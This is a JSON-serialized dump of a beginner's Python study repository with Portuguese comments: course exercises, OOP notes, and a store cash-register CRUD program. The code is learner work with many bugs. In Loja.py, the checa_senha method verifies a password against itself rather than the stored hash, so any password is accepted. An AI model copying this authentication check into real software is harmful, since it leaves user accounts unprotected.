self.numero = numero\n# self.limite = limite\n# self.saldo = saldo\n#\n#class Usuario:\n# def __init__(self,nome, email, senha):\n# self.nome = nome\n# self.email = email\n# self.senha = senha\n\n#class Produto:\n# imposto = 1.05 # Em java atributos de classe são os atributos estaticos\n# cont = 0\n# def __init__(self, nome, descricao, valor):\n# self.id = Produto.cont +1\n# self.nome = nome\n# self.descricao = descricao\n# self.valor = (valor * Produto.imposto)\n# Produto.cont = self.id\n\n#if __name__ == '__main__':\n# p1 = Produto(\"Playstation 4\",\"video-game\",13000)\n# p1.peso = \"800g\" # <- atributo de instancia!\n# print(p1.__dict__) # <- retorna todos os atributos na forma de um dicionario.\n# # o comando 'del' deleta atributos dinamicamente.\n\n\"\"\"\nPOO - Métodos\n-Meétodos(funções) -> representam os comportamentos do objeto. ou seja, as ações que este objeto poder realizar\nno seu sitema.\n\nEm python dividimos os métodos em:\n\n# Métodos de instância\n -> O método dunder init __init__ é um método especial chamado de construtor e \n sua função é construir o objeto a partir da classe.\n\n OBS: todo método em python que inicia e finaliza com duplo underline é chamdo de dunder (double Underline)\n OBS: os métodos/funções dunder em python são chamdos de métodos mágicos.\n ATENÇÂO: Não é aconselhado usar dunder em seus métodos, pois pode intereferir nas funções internas do python\n\n OBS: métodos são escritos em letras minusculas e separadas por underline quando compostos.\n\n# Métodos de classe\n -> Decorador => @classmethod\n -> Não estão vinculados a auma instancia de classe \n -> São conhecidos como métodos estaticos em outras linguagens \n -> É idela utilizalos quando a função que desejamos criar não utilizar atributos de instancia \n -> Métodos privados só podem ser utilizados dentro da sua propria classe\n\n# Métodos estaticos\n -> Decorador => @staticmethod\n -> Não recebe nada em seus parametros\n\"\"\"\nclass Lampada:\n def __init__(self, cor, voltagem, luminosidade):\n self.__cor = cor\n self.__voltagem = voltagem\n self.__luminosidade = luminosidade\n self.ligada = False\n\nclass ContaCorrente:\n\n contador = 1234\n def __init__(self, limite, saldo):\n self.__numero = ContaCorrente.contador +1\n self.__limite = limite\n self.saldo = saldo\n ContaCorrente.contador = self.__numero\n\nclass Produto:\n contador = 0\n def __init__(self, nome, descricao, valor):\n self.__id = Produto.contador +1\n self.__nome = nome\n self.__descricao = descricao\n self.__valor = valor\n Produto.contador = self.__id\n\n def desconto(self, porcentagem):\n \"\"\"Retorna o valor do produto com desconto\"\"\"\n return (self.__valor * (100 - porcentagem))/100\n\nfrom passlib.hash import pbkdf2_sha256 as cryp #criptografia char256\n\nclass Usuario:\n contador = 0\n @classmethod # e necessario para criar um método de classe\n def conta_usuarios(cls):# o parametor é a propria classe\n print(f'Temos {cls.contador} usuario(s) no sistema')\n\n @staticmethod\n def definicao():\n return 'UXR344'\n\n def __init__(self, nome, sobrenome, email, senha):\n self.__id = Usuario.contador+1\n self.__sobrenome = sobrenome\n self.__nome = nome\n self.__email = email\n self.__senha = cryp.hash(senha, rounds=200000, salt_size=16)# qual string sera incriptada, o ronund mostra quantos embaralhamentos seram feitos salt = parte do texto que será juntada\n Usuario.contador = self.__id\n print(f'Usuario criado: {self.__gera_usuario()}')\n def nome_comleto(self):\n return f'{self.__nome} {self.__sobrenome}'\n\n #verifica se a senha digitada é igual a senha registrada\n def checa_senha(self,senha):\n if cryp.verify(senha, self.__senha):\n return True\n return False\n def __gera_usuario(self):\n return self.__email.split('@')[0] #quebra a string no ponto desejado e devolve o que estava antes do parametro na posiçãozeroda lista\n\nuser = Usuario(f'Felicity','Jones','felicity@gmail.com','12345679')\n\n# MATERIAL DE ESTUDO!\n#nome = input('Informe o nome: ')\n#sobrnome =input('Informe o sobrenome: ')\n#email = input('Informe o email: ')\n#senha = input('Informe a senha: ')\n#confirma_senha = input('Confirme a senha: ')\n#\n#if senha == confirma_senha:\n# user = Usuario(nome,sobrnome,email, senha)\n#else:\n# print('Senha não confere...')\n# exit(42)\n\n#print('Usuario criado com sucesso!')\n\n#senha = input('Informe a senha para o acesso: ')\n\n#if user.checa_senha(senha):\n# print('Acesso permitido')\n#else:\n# print('Acesso Negado!')\n\n#print(f'Senha user criptografada: {user._Usuario__senha}') #Aceso errado!\n\n\n\n\n\n#p1 = Produto('Playstation','Videogame',2300)\n\n#print(p1.desconto(40))\n\n#print(user1.nome_comleto())\n\n#print(user2.nome_comleto())\n\n#print(Usuario.nome_comleto(user2))"},{"alpha_fraction":0.6413792967796326,"alphanum_fraction":0.6517241597175598,"avg_line_length":31.22222137451172,"blob_id":"64e50e4e7d59ce2832d9f55e0892ef01adf496bd","content_id":"de24f0654c8688e5f89cae7f54aa100160c76dbd","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":294,"license_type":"permissive","max_line_length":57,"num_lines":9,"path":"/Curso-Em-Video/M1/ex26.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nnome = str(input(\"Digite o seu nome completo: \")).lower()\n\ncout = nome.count('a')\nfirst = nome.find('a')+1\nlast = nome.rfind('a')+1\nprint(f'Recorrencida da letra a: {cout}')\nprint(f'Posição da primeira letra a :{first}')\nprint(f'Ultima aparição da letra a: {last}')\n"},{"alpha_fraction":0.6024096608161926,"alphanum_fraction":0.6345381736755371,"avg_line_length":26.44444465637207,"blob_id":"af412e8e91518f6415a024ae35c61ebeda8d5f90","content_id":"c80f9f9b1f494a1faf26f0f522dd0e0af4990f12","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":254,"license_type":"permissive","max_line_length":76,"num_lines":9,"path":"/Curso-Em-Video/M1/ex28.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport random\nn = random.randint(0,5)\nn2=int(input(\"Tente adivinhar em qual número de 0 a 5 eu estou pensando. \"))\n\nif n == n2:\n print(f'Você acertou o número era: {n2}')\nelse:\n print(f'Você errou o número era: {n}')\n\n\n"},{"alpha_fraction":0.8461538553237915,"alphanum_fraction":0.8461538553237915,"avg_line_length":25,"blob_id":"1824d2a7bb84d4ebc4319ab7c160393bdf06453a","content_id":"032269471a8924524198cdb7568cf267d4175648","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":26,"license_type":"permissive","max_line_length":25,"num_lines":1,"path":"/PythonPOO/main.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from Pessoa import Pessoa\n"},{"alpha_fraction":0.6056337952613831,"alphanum_fraction":0.6118935942649841,"avg_line_length":36.64706039428711,"blob_id":"aade5ca4727c7ab314437277229b16cbc3c39a12","content_id":"c7ed004cdd4036f735ff0dec3f98fb82beca653b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":643,"license_type":"permissive","max_line_length":86,"num_lines":17,"path":"/Curso-Em-Video/M3/ex92.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from datetime import datetime\npessoa = {}\npessoa['Nome'] = str(input('Nome: '))\npessoa['Ano_nasc'] = int(input('Ano de nascimento: '))\npessoa['Ctps'] = int(input('Carteira de trabalho (0 não tem): '))\n\nnow = datetime.now()\npessoa['idade'] = now.year - pessoa['Ano_nasc']\nif pessoa['Ctps'] !=0:\n pessoa['contratacao'] = int(input('Ano de contratação: '))\n pessoa['Salario'] = float(input('Salário: '))\n pessoa['Aposentadora'] = pessoa['idade'] + (pessoa['contratacao'] + 35) - now.year\n for k, v in pessoa.items():\n print(f'{k} tem o valor {v}')\nelse:\n for k, v in pessoa.items():\n print(f'{k} tem o valor {v}')"},{"alpha_fraction":0.31578946113586426,"alphanum_fraction":0.4035087823867798,"avg_line_length":18,"blob_id":"e06a69798266dbf0277c741f103455ff8791fcd5","content_id":"eb78633be3e7bd2bbb1654da0a1123548321a361","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":114,"license_type":"permissive","max_line_length":32,"num_lines":6,"path":"/Curso-Em-Video/M2/ex48.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ns = 0\nfor i in range(1,501):\n if i % 2 != 0 and i % 3 ==0:\n s += i\nprint(s)\n"},{"alpha_fraction":0.5623959898948669,"alphanum_fraction":0.5923460721969604,"avg_line_length":21.259260177612305,"blob_id":"d11b86b2c774af69a344e692e92eb688b5ddcb08","content_id":"0f0eb0738ea8005d868e8e27c2edf7b11097b5c3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":601,"license_type":"permissive","max_line_length":54,"num_lines":27,"path":"/PythonPOO/Pessoa.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from random import randint\nclass Pessoa:\n ano_autal = 2021\n\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n\n def get_ano_nascimento(self):\n print(self.ano_autal - self.idade)\n\n\n @classmethod\n def por_ano_nascimento(cls, nome, ano_nascimento):\n idade = cls.ano_autal - ano_nascimento\n return cls(nome, idade)\n\n @staticmethod\n def gera_id():\n rand = randint(10000, 19999)\n return rand\n\nif __name__ == '__main__':\n\n p1 = Pessoa('Joseph', 23)\n #print(p1.get_ano_nascimento())\n print(Pessoa.gera_id())\n"},{"alpha_fraction":0.5206896662712097,"alphanum_fraction":0.5586206912994385,"avg_line_length":23.16666603088379,"blob_id":"5b192e4a8e099031e557ea1206beb2dc9cab8b1c","content_id":"746c5088be50d138a7931fb8eb60e13e1f721195","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":291,"license_type":"permissive","max_line_length":61,"num_lines":12,"path":"/Curso-Em-Video/M2/ex55.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nc = 0\nmaior = 0\nmenor = 99999\nfor i in range(1,6):\n peso = float(input(f'Digite o peso da {c}º Pessoa: '))\n c += 1\n if peso > maior:\n maior = peso\n if peso < menor:\n menor =peso\nprint(f'O maior peso foi {maior} e o menor peso foi:{menor}')\n"},{"alpha_fraction":0.4390243887901306,"alphanum_fraction":0.4918699264526367,"avg_line_length":21.363636016845703,"blob_id":"da2158afc54542293dc403b58b08feb4420bc9e1","content_id":"093fbd4b634a03ba522de846c3cf26229b3df38c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":249,"license_type":"permissive","max_line_length":62,"num_lines":11,"path":"/Curso-Em-Video/M2/ex66.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nc = 0\ns = 0\nwhile True:\n n = int(input('Digite um valor (999 para parar): '))\n if n != 999:\n s += n\n c += 1\n if n == 999:\n break\nprint(f'Você digitou {c} números a soma de todos eles é: {s}')\n"},{"alpha_fraction":0.43728354573249817,"alphanum_fraction":0.4524478018283844,"avg_line_length":33.85481262207031,"blob_id":"edd6cbb176a39cb7fd18d16f836754135515b044","content_id":"1217308d2256b11553f23083f114f8a78586a958","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":21413,"license_type":"permissive","max_line_length":190,"num_lines":613,"path":"/Projetos_3S/Loja.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from passlib.hash import pbkdf2_sha256 as cryp #importando o necessario para criptografia char256\n\"\"\"\nSimas precisa de um sistema de controle de caixa para a sua loja de eletronicos\n\n\"\"\"\n\n#-----------------------------------------Pessoa---------------------------------------------------------------------------------------------------\nclass Pessoa:\n def __init__(self, nome, sobrenome, email,cpf):\n self.__nome = nome\n self.__sobrenome = sobrenome\n self.__email = email\n self.__cpf = cpf\n\n @property\n def nome(self):\n return self.__nome\n\n @nome.setter\n def nome(self, nome):\n self.__nome = nome\n\n\n @property\n def sobrenome(self):\n return self.__sobrenome\n\n @sobrenome.setter\n def sobrenome(self, sobrenome):\n self.__sobrenome = sobrenome\n\n @property\n def email(self):\n return self.__email\n\n @email.setter\n def email(self, email):\n self.__email = email\n\n @property\n def cpf(self):\n return self.__cpf\n\n @cpf.setter\n def cpf(self, cpf):\n self.__cpf = cpf\n\n def nome_comleto(self):\n return f'{self.__nome} {self.__sobrenome}'\n\n#---------------------------------------------Usuario---------------------------------------------------------------------------------------------------\nclass Usuario(Pessoa):\n contador = 0\n @classmethod # e necessario para criar um método de classe\n def conta_usuarios(cls):# o parametor é a propria classe\n print(f'{cls.contador} usuario(s) no sistema')\n\n\n def __init__(self, nome, sobrenome, email, cpf, senha, venda):\n super().__init__(nome,sobrenome, email, cpf)\n self.__venda = venda\n self.__id = Usuario.contador+1\n self.__senha = cryp.hash(senha, rounds=200000, salt_size=16)# qual string sera incriptada, o ronund mostra quantos embaralhamentos seram feitos salt = parte do texto que será juntada\n Usuario.contador = self.__id\n print(f'Usuario criado: {self.__gera_usuario()}')\n\n @property\n def id(self):\n return self.__id\n\n @property\n def senha(self):\n return self.__senha\n\n @senha.setter\n def senha(self, senha):\n self.__senha = senha\n\n @property\n def venda(self):\n return self.__venda\n\n @venda.setter\n def venda(self, venda):\n self.__venda = venda\n\n #verifica se a senha digitada é igual a senha registrada\n def checa_senha(self,senha):\n if cryp.verify(senha, senha):\n return True\n return False\n\n\n def __gera_usuario(self):\n return self.email.split('@')[0] #quebra a string no ponto desejado e devolve o que estava antes do parametro na posiçãozeroda lista\n\n\n def mostra_usuario(self,):\n print(f'\\n {self.id}'\n f'\\n Nome:{self.nome}'\n f'\\n Sobrenome:{self.sobrenome}'\n f'\\n CPF:{self.cpf}'\n f'\\n Email:{self.email}')\n\n#--------------------------------------------Funcionario---------------------------------------------------------------------------------------------------\nclass Funcionario(Usuario):\n def __init__(self, nome, sobrenome, email, cpf, senha, funcao, venda):\n super().__init__(nome,sobrenome, email,cpf, senha, venda)\n self.__funcao = funcao\n\n @property\n def funcao(self):\n return self.__funcao\n\n def mostra_funcao(self):\n print(f'O Funcionario{Usuario.nome} realiza a função de {self.funcao}')\n\n#---------------------------------------------Gerente---------------------------------------------------------------------------------------------------\nclass Gerente(Usuario):\n def __init__(self, nome, sobrenome, email, cpf, senha, setor, venda):\n super().__init__(nome,sobrenome, email,cpf, senha, venda)\n self.__setor = setor\n\n @property\n def setor(self):\n return self.__setor\n\n @setor.setter\n def setor(self, setor):\n self.__setor = setor\n\n def mostra_setor(self):\n print(f'O gerente:{Usuario.nome} e responsavel pelo setor:{self.setor}')\n\n\n def delUser(self):\n pass\n\n#---------------------------------------------Cliente---------------------------------------------------------------------------------------------------\nclass Cliente(Pessoa):\n def __init__(self, nome, sobrenome, email, cpf,compra):\n super().__init__(nome, sobrenome ,email, cpf)\n self.__compra = compra\n\n @property\n def compra(self):\n return self.__compra\n\n def mostra_cliente(self):\n print(f'\\n Nome:{self.nome}'\n f'\\n Sobrenome:{self.sobrenome}'\n f'\\n CPF:{self.cpf}'\n f'\\n Email:{self.email}'\n f'\\n Compra:{self.compra}')\n\n#-----------------------------------------------Venda---------------------------------------------------------------------------------------------------\nclass Venda:\n def __init__(self, data, hora, cliente, vendedor):\n self.__data = data\n self.__hora = hora\n self.__cliente = cliente\n self.__vendedor = vendedor\n\n @property\n def data(self):\n return self.__data\n\n @data.setter\n def data(self, data):\n self.__data = data\n\n @property\n def hora(self):\n return self.__hora\n\n @hora.setter\n def hora(self, hora):\n self.__hora = hora\n\n @property\n def cliente(self):\n return self.__cliente\n\n @cliente.setter\n def cliente(self, cliente):\n self.__cliente = cliente\n\n @property\n def vendedor(self):\n return self.__vendedor\n\n @vendedor.setter\n def vendedor(self, vendedor):\n self.__vendedor = vendedor\n\n def carrinho_compras(self,estoque):\n carrinho = []\n produto = []\n c_preco = []#contador de precos\n s_preco = 0\n while produto != 'sair':\n print(\"Adicione um produto no carrinho ou digite 'sair para sair:'\")\n produto = input()\n if produto != 'sair':\n if produto == 'p1':\n carrinho.append(p1.__dict__)\n c_preco.append(p1.__dict__['_Produto__preco'])\n if produto == 'p2':\n carrinho.append(p2.__dict__)\n c_preco.append(p2.__dict__['_Produto__preco'])\n if produto == 'p3':\n carrinho.append(p3.__dict__)\n c_preco.append(p3.__dict__['_Produto__preco'])\n if produto == 'p4':\n carrinho.append(p4.__dict__)\n c_preco.append(p4.__dict__['_Produto__preco'])\n if produto == 'p5':\n carrinho.append(p5.__dict__)\n c_preco.append(p6.__dict__['_Produto__preco'])\n if produto == 'p6':\n carrinho.append(p6.__dict__)\n c_preco.append(p6.__dict__['_Produto__preco'])\n\n print(f'----------------Eletronica Simas Turbo--------------------'\n f'\\nData:{self.data} Hora:{self.hora}'\n f'\\n--------------------------------------------------------'\n f'\\nCliente:{self.cliente}'\n f'\\n--------------------------------------------------------')\n for produto in carrinho:\n print( f'\\n Produto: {len(carrinho)}:{produto.values()}')\n for p in c_preco:\n s_preco += p\n print(f'\\n--------------------------------------------------------'\n f'\\nTotal:{s_preco}'\n f'\\n--------------------------------------------------------')\n\n#----------------------------------------------Produto---------------------------------------------------------------------------------------------------\nclass Produto:\n contador = 0\n def __init__(self, nome, codigo, preco, descricao, pcusto, imposto):\n self.__nome = nome\n self.__codigo = codigo\n self.__preco = preco\n self.__descricao = descricao\n self.__pcusto = pcusto\n self.__imposto = imposto\n\n @property\n def nome(self):\n return self.__nome\n\n @nome.setter\n def nome(self, nome):\n self.__nome = nome\n\n @property\n def codigo(self):\n return self.__codigo\n\n @codigo.setter\n def codigo(self, codigo):\n self.__codigo = codigo\n\n @property\n def preco(self):\n return self.__preco\n\n @preco.setter\n def preco(self, preco):\n self.__preco = preco\n\n @property\n def descricao(self):\n return self.__descricao\n\n @descricao.setter\n def descricao(self, descricao):\n self.__descricao = descricao\n\n @property\n def pcusto(self):\n return self.__pcusto\n\n @pcusto.setter\n def pcusto(self, pcusto):\n self.__pcusto = pcusto\n\n @property\n def imposto(self):\n return self.__imposto\n\n @imposto.setter\n def imposto(self, imposto):\n self.__imposto = imposto\n\n def lucro(self,imposto, preco, pcusto):\n pimposto = pcusto * imposto/100\n lucro = (pimposto + pcusto) - preco\n return lucro\n\n def desconto(self, preco):\n vdesc = int(input('Digite o valor do desconto'))\n desc = (preco * vdesc/100) - preco\n return f'O deconto foi de {desc}'\n\n\n\n\n def mostra_produto(self):\n print(f'\\n Nome:{self.nome}'\n f'\\n Código:{self.codigo}'\n f'\\n Preço:{self.preco}'\n f'\\n Descrição:{self.descricao}'\n f'\\n Preço de custo:{self.pcusto}'\n f'\\n Porcentagem de impostos:{self.imposto}%')\n#------------------------------------------------CRUD----------------------------------------------------------------------\n\n\ndef menu():\n print(f'O deseja fazer?'\n f'\\n 1 - Cadastrar produto'\n f'\\n 2 - Cadastrar usuario'\n f'\\n 3 - Cadastrar cliente'\n f'\\n 4 - Alterar produto'\n f'\\n 5 - Alterar usuario'\n f'\\n 6 - Alterar cliente'\n f'\\n 7 - visualizar produto'\n f'\\n 8 - visualizar usuario'\n f'\\n 9 - visualizar cliente'\n f'\\n 10 - Deleta produto'\n f'\\n 11 - Deleta usuario'\n f'\\n 12 - Deleta cliente')\n opcao = input('Digite o número da operção')\n return opcao\n\ndef cadastra_produto():\n nome = input('Nome do produto: ')\n preco = int(input('Valor do produto: '))\n codigo = int(input('Código de barras: '))\n descricao = input('Descrição do produto: ')\n pcusto = int(input('valor de fabrica: '))\n imposto = int(input('Porcentagem de impostos: '))\n\n p = Produto(nome, preco, codigo, descricao, pcusto, imposto)\n print(f'O produto {p.nome} foi cadastrado com sucesso!')\n print(p.__dict__)\n return p\n\ndef altera_produto(c):\n print('O que deseja alterar?'\n '\\n 1 - Atualizar nome'\n '\\n 2 - Atualizar preço'\n '\\n 3 - Atualizar codigo de barras'\n '\\n 4 - Atualizar descrição'\n '\\n 4 - Atualizar valor de fabrica'\n '\\n 4 - Atualizar impostos')\n op = input('Digite o número da operação')\n if op == '1':\n nnome = (input('Digite o novo nome'))\n c.nome = nnome\n if op == '2':\n ncodigo = (input('Digite o preço'))\n c.codigo = ncodigo\n if op == '3':\n npreco = (input('Digite o codigo de barras'))\n c.preco = npreco\n if op == '4':\n ndescricao = (input('Digite a nova descrição'))\n c.descricao = ndescricao\n if op == '5':\n npcusto = (input('Digite o novo preço de fabrica'))\n c.pcusto = npcusto\n if op == '6':\n nimposto = (input('Digite a nova porcentagem de impostos'))\n c.imposto = nimposto\n\ndef cadastra_usuario():\n su = input('\\n 1 - Gerente'\n '\\n 2 - Funcionario')\n if su =='1':\n nome = input('Informe o nome: ')\n sobrnome =input('Informe o sobrenome: ')\n email = input('Informe o email: ')\n cpf = input('Informe o cpf: ')\n senha = input('Informe a senha: ')\n confirma_senha = input('Confirme a senha: ')\n setor = input('setor')\n venda = 0\n\n if senha == confirma_senha:\n user = Gerente(nome,sobrnome,email, cpf, senha, setor, venda)\n print(f'Usuario {user.nome_comleto()} criado com sucesso!')\n print(user.__dict__)\n return user\n else:\n print('Senha não confere...')\n exit(42)\n elif su =='2':\n\n if su == '1':\n nome = input('Informe o nome: ')\n sobrnome = input('Informe o sobrenome: ')\n email = input('Informe o email: ')\n cpf = input('Informe o cpf: ')\n senha = input('Informe a senha: ')\n confirma_senha = input('Confirme a senha: ')\n cargo = input('cargo')\n venda = 0\n\n if senha == confirma_senha:\n user = Gerente(nome, sobrnome, email, cpf, senha, cargo, venda)\n print(f'Usuario {user.nome_comleto()} criado com sucesso!')\n print(user.__dict__)\n return user\n else:\n print('Senha não confere...')\n exit(42)\n\n else:\n print('opção invalida!')\n\ndef realiza_venda():\n data = input('digite a data: ')\n hora = int(input('horario: '))\n cliente = input('cliente: ')\n vendedor = int(input('vendedor: '))\n\n venda = Venda(data,hora,cliente,vendedor)\n print(f'Venda iniciada!')\n print(venda.__dict__)\n\ndef cadastra_cliente():\n nome = input('Informe o nome: ')\n sobrnome = input('Informe o sobrenome: ')\n email = input('Informe o email: ')\n cpf = input('Informe o cpf: ')\n compra = 0\n c = Cliente(nome,sobrnome, email, cpf, compra)\n print(f'Usuario {c.nome_comleto()} Criado com sucesso!')\n print(c.__dict__)\n\ndef altera_cliente(c):\n print('O que deseja alterar?'\n '\\n 1 - Atualizar nome'\n '\\n 2 - Atualizar sobrenome'\n '\\n 3 - Atualizar email'\n '\\n 4 - Atualizar cpf')\n op = input('Digite o número da operação')\n if op == '1':\n nnome = (input('Digite o novo nome'))\n c.nome = nnome\n if op == '2':\n nsobrenome = (input('Digite o novo nome'))\n c.sobrenome = nsobrenome\n if op == '3':\n nemail = (input('Digite o novo nome'))\n c.email = nemail\n if op == '4':\n ncpf = (input('Digite o novo nome'))\n c.cpf = ncpf\n\ndef visualiza_usuario(user):\n Usuario.mostra_usuario(user)\n\ndef visualiza_produto(produto):\n Produto.mostra_produto(produto)\n\ndef visualiza_cliente(user):\n Cliente.mostra_cliente(user)\n\ndef delete_usuario(func):\n f = input('Qual qual Funcionario será deletado?')\n if f in func:\n func.pop(f)\n print(f'Funcionario deletado!')\n\ndef delete_cliente(c_cadastrados):\n c = input('Qual qual cliente será deletado?')\n if c in c_cadastrados:\n c_cadastrados.pop(c)\n print(f'Produto deletado!')\n\ndef delete_produto(estoque):\n item = input('Qual qual produto será deletado?')\n if item in estoque:\n estoque.pop(item)\n print(f'Produto deletado!')\n\n\nif __name__ == '__main__':\n#----------------------------------------------Produtos-------------------------------------------------------\n p1 = Produto('Mousepad', 7891099, 10.99, 'Mouse pad com apoio para a mão', 2.49, 1)\n p2 = Produto('Teclado', 78929999, 299.99, 'Teclado mecanico ', 2.49, 2)\n p3 = Produto('Mouse', 7898999, 89.99, 'Mouse optico sem fio', 2.49, 3)\n p4 = Produto('Monitor', 789499.99, 499.99, 'Monitor asus 1400X900', 2.49, 1)\n p5 = Produto('Gabinete', 78919999, 199.99, 'gabinete grande', 2.49, 1)\n p6 = Produto('Microfone', 7895999, 59.99, 'Microfone de mesa', 2.49, 2)\n#---------------------------------------------Usuarios---------------------------------------------------------\n g1 = Gerente('Italo','Vinicius','cefe@gmail.com','12345678945','123456','Vendedor',0)\n f1 = Funcionario('João','Batista','jao@gmail.com','65478932145','789456',1,0)\n#---------------------------------------------Clientes----------------------------------------------------------\n c1 = Cliente('Juliana','Pereira','ju@gmail.com','45696325814',0)\n#----------------------------------------------Vendas----------------------------------------------------------------\n v1 = Venda('20/05/2020','13:50',c1.__dict__['_Pessoa__nome'],f1)\n#--------------------------------------------------------------------------------------------------------\n estoque = [p1,p2,p3,p4,p5,p6]\n func = [f1,g1]\n c_cadastrados =[c1]\n#-------------------------------------------------------Menu--------------------------------------------------------\n while True:\n r = menu()\n if r =='1':\n try:\n estoque.append(cadastra_produto())\n except:\n print('Erro ao cadastrar, por favor tente mais tarde!')\n#------------------------------------------------------------------------------------------------------\n if r =='2':\n try:\n func.append(cadastra_usuario())\n except:\n print('Erro ao cadastrar, por favor tente mais tarde!')\n#------------------------------------------------------------------------------------------------------\n elif r == '3':\n try:\n c_cadastrados.append(cadastra_cliente())\n except:\n print('Erro ao cadastrar, por favor tente mais tarde!')\n#------------------------------------------------------------------------------------------------------\n elif r == '4':\n opp = input('Qual produto deseja alterar?')\n if opp in estoque:\n altera_produto(opp)\n else:\n opp = input('Produto não cadastrado, deseja cadastra-lo?').upper()\n if opp == 'S':\n cadastra_produto()\n#------------------------------------------------------------------------------------------------------\n elif r == '5':\n opau = input('Qual usuario deseja alterar?')\n if opau in func:\n print('Erro 400')\n else:\n opu = input('Usuario não cadastrado, deseja cadastra-lo?').upper()\n if opu == 'S':\n cadastra_usuario()\n#------------------------------------------------------------------------------------------------------\n elif r == '6':\n opac = input('Qual cliente deseja alterar?')\n if opac in estoque:\n altera_cliente(opac)\n else:\n opc =input('cliente não cadastrado, deseja cadastra-lo?').upper()\n if opc == 'S':\n cadastra_cliente()\n#------------------------------------------------------------------------------------------------------\n elif r == '7':\n opvp1 = input('\\n [1]-Mostrar produto especifico'\n '\\n [2]-Mostrar Todos os produtos')\n if opvp1 == '1':\n opvp2 = input('Qual produto deseja visualizar?')\n if opvp2 in estoque:\n altera_cliente(opvp2)\n else:\n opp = input('Produto não cadastrado, deseja cadastra-lo?').upper()\n if opp == 'S':\n cadastra_produto()\n if opvp1 == '2':\n for p in estoque:\n print(p.__dict__)\n#------------------------------------------------------------------------------------------------------\n elif r == '8':\n opvp1 = input('\\n [1]-Mostrar usuario especifico'\n '\\n [2]-Mostrar Todos os usuarios')\n if opvp1 == '1':\n opvp2 = input('Qual usuario deseja visualizar?')\n if opvp2 in estoque:\n visualiza_usuario(opvp2)\n else:\n opu = input('Usuario não cadastrado, deseja cadastra-lo?').upper()\n if opu == 'S':\n cadastra_usuario()\n\n if opvp1 == '2':\n for u in func:\n print(u.__dict__)\n#------------------------------------------------------------------------------------------------------\n elif r == '9':\n opvc1 = input('\\n [1]-Mostrar cliente especifico'\n '\\n [2]-Mostrar Todos os cliente')\n if opvc1 == '1':\n opvc2 = input('Qual cliente deseja visualizar?')\n if opvc2 in c_cadastrados:\n visualiza_cliente(opvc2)\n else:\n opc = input('cliente não cadastrado, deseja cadastra-lo?').upper()\n if opc == 'S':\n cadastra_cliente()\n if opvc1 == '2':\n for c in c_cadastrados:\n print(c.__dict__)\n#--------------------------------------------------------------------------------------------------------------------\n elif r == '10':\n delete_produto(estoque)\n#-------------------------------------------------------------------------------------------------------------------------\n elif r == '11':\n delete_usuario(func)\n#------------------------------------------------------------------------------------------------------------------\n elif r == '12':\n delete_cliente(c_cadastrados)\n#------------------------------------------------------------------------------------------------------------------------------\n elif r =='sair':\n break\n"},{"alpha_fraction":0.5661538243293762,"alphanum_fraction":0.6246153712272644,"avg_line_length":34.88888931274414,"blob_id":"2323a600eb65cb38d61b698de4c614087a89e54c","content_id":"f44e0693b2e7b548c8e449a24d65c339298cb480","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":326,"license_type":"permissive","max_line_length":50,"num_lines":9,"path":"/Curso-Em-Video/M1/ex35.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nr1 = float(input('Digite o valor da reta 01: '))\nr2 = float(input('Digite o valor da reta 02: '))\nr3 = float(input('Digite o valor da reta 03:'))\n\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r2 + r1:\n print('Esse valores geram um triagunlo ')\nelse:\n print('Esse valores não geram um triagunlo')\n\n\n"},{"alpha_fraction":0.654321014881134,"alphanum_fraction":0.654321014881134,"avg_line_length":19.5,"blob_id":"c8ecc32b64e449fa836aa9a4bee59e79cbfe0a80","content_id":"9b9a878ccddaf7dc93f7c79ab5cb5ea4fa6db04a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":81,"license_type":"permissive","max_line_length":29,"num_lines":4,"path":"/Paradigmas_Program/cliente.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from datetime import datetime\nclass Cliente:\n def __init__(self):\n pass"},{"alpha_fraction":0.5099337697029114,"alphanum_fraction":0.5298013091087341,"avg_line_length":24,"blob_id":"b97c84258eda944adda5cd91fe99d9abe4ff2799","content_id":"ab970abbd20d4ccddb56fe922e5a80d766614eff","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":156,"license_type":"permissive","max_line_length":36,"num_lines":6,"path":"/Curso-Em-Video/M1/ex30.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = int(input('Digite um número: '))\nif n % 2 == 0:\n print(f'O número {n} é par')\nelse:\n print(f'O número {n} é 